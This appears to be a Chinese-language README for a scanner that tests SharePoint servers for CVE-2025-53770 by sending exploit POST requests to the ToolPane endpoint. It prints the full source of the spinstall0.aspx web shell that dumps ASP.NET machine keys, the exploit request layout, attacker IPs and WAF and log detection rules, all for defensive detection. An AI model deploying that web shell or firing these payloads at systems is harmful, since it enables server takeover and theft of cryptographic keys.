CVE-2025-53770 SharePoint 漏洞扫描器

100% 借助社交媒体上流传的各种 payload 和不同攻击手法拼凑而成，因此不附带任何保修等。该扫描器旨在识别存在漏洞的实例，并配有包含已知在野利用方式的配置，主要设计用于防御目的，帮助识别易受攻击的实例并及时修补。

该扫描器通过以下方式对 SharePoint 部署执行自动化检查：

向 SharePoint ToolPane 端点发送带有利用 payload 的精心构造的 POST 请求
检测机器密钥提取尝试和成功利用行为
识别二次 payload 部署（spinstall0.aspx）
基于观察到的攻击模式分析响应中的漏洞指标
提供包含置信度级别和即时行动警报的详细报告
支持并发扫描以提高效率

关键检测能力

CRITICAL：机器密钥提取检测

检测成功的机器密钥提取响应
识别 ValidationKey、DecryptionKey 和 CompatibilityMode 的泄露
识别管道分隔的机器密钥模式（ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode）
对受感染系统触发即时行动警报

二次 Payload 检测

识别 spinstall0.aspx 部署尝试
检测 C# ASP.NET payload 代码模式
识别 System.Web.Configuration.MachineKeySection 的使用
版本特定路径检测（SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\）

安装

克隆仓库：

git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner

安装依赖：

pip install -r requirements.txt

使用方法

基本用法

创建一个包含目标主机的文本文件（每行一个）：

sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local

运行扫描器：

python3 scanner.py -i hosts.txt

python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v

命令行选项

选项	描述	默认值
`-i, --input`	主机列表文件路径（必填）	-
`-o, --output`	结果输出文件（.json、.csv、.txt）	None
`-l, --logfile`	详细日志的日志文件路径	None
`-t, --threads`	并发线程数	10
`-v, --verbose`	启用详细输出和日志记录	False

输出格式

JSON 输出（`-o results.json`）

[
  {
    "host": "sharepoint.example.com",
    "url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
    "scan_time": "2025-07-21T10:30:00.123456",
    "vulnerable": true,
    "status_code": 200,
    "response_size": 15432,
    "error": null,
    "response_time": 1.23
  }
]

CSV 输出（`-o results.csv`）

提供适合电子表格分析的表格数据，包含所有扫描指标的列。

文本输出（`-o results.txt`）

易于阅读的格式，包含漏洞状态和扫描详情。

漏洞详情

CVE-2025-53770 针对 SharePoint 的 ExcelDataSet 组件中的一个反序列化漏洞，该漏洞已在野被积极利用。扫描器可检测：

已识别的攻击模式

初始利用：向 /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx 发送带有序列化 payload 的 POST 请求

机器密钥提取：成功利用会返回管道分隔的机器配置：

ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45

二次 Payload：部署 spinstall0.aspx 以维持持久访问和密钥提取
版本定向：针对不同 SharePoint 版本使用不同路径（15/ 与 16/ layouts）

活跃利用中确认的 IOC

User-Agent：Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer：/_layouts/SignOut.aspx
Content-Length：通常为 7699-8000+ 字节
Payload 大小：大型 base64 编码的 CompressedDataTable 参数
响应指标：机器密钥字符串、spinstall0.aspx 部署
攻击基础设施：65.38.121.198、162.243.204.189、165.22.18.129

检测逻辑

扫描器分析响应以检测：

机器密钥提取模式（CRITICAL 置信度）
二次 payload 指标（HIGH 置信度）
ExcelDataSet/Scorecard 组件处理（MEDIUM 置信度）
ToolPane 错误模式及异常响应特征（LOW 置信度）

安全注意事项

该工具仅设计用于经授权的安全测试
在扫描任何系统前，请确保已获得适当授权
扫描器默认使用 HTTPS，但接受自签名证书
日志可能包含敏感信息——请妥善保护
使用高线程数时请考虑网络影响

示例扫描会话

$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v

Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json

[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local  
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)

============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%

VULNERABLE HOSTS (CVE-2025-53770):

  CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
    • sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
      WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised

  HIGH CONFIDENCE (1 hosts):
    • sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)

  LOW CONFIDENCE (1 hosts):
    • sp-archive.acme.local (Response time: 2.10s, Version: Unknown)

Detailed results saved to: vuln-results.json

故障排除

常见问题

连接超时：增大超时时间或减少线程数
SSL 错误：扫描器默认禁用 SSL 警告
权限错误：确保对输出/日志文件具有写入权限
内存使用：使用大型主机列表时注意监控

日志分析

启用详细日志记录（-v）和日志文件（-l）以进行详细故障排除：

tail -f scan.log

利用分析

观察到的攻击 Payload

扫描器融入了对活跃攻击中观察到的已确认利用模式的检测：

主要 Payload 结构

POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close

MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]

二次 Payload（spinstall0.aspx）

<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
    public void Page_load()
    {
        var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
        var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
        var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
        Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
    }
</script>

预期的机器密钥响应格式

ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string] 
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40

检测与监控指南

检测 CVE-2025-53770 利用尝试

各组织应实施以下检测机制，以识别潜在的利用尝试：

1. Web 应用防火墙（WAF）规则

监控发往 SharePoint ToolPane 端点的可疑 POST 请求：

# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx

观察到的利用模式：

Payload 大小通常为 7000-8000+ 字节
CompressedDataTable 参数中包含 URL 编码的压缩数据
特定 User-Agent 字符串：Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Content-Type：application/x-www-form-urlencoded
通常存在 Connection: close 标头
payload 中包含 base64 编码的序列化 .NET 对象
响应包含管道分隔格式的机器密钥
对已部署的 spinstall0.aspx 文件的二次请求

2. SharePoint ULS 日志

监控 SharePoint 统一日志记录服务（ULS）日志中的以下内容：

Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe

ULS 日志中的关键指标：

ToolPane.aspx 处理过程中的意外异常
Microsoft.PerformancePoint 组件中的反序列化错误
w3wp.exe 中的内存损坏或进程崩溃

3. IIS 访问日志

监控 IIS 日志中的利用模式：

# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)

CVE-2025-53770-Scanner

最受欢迎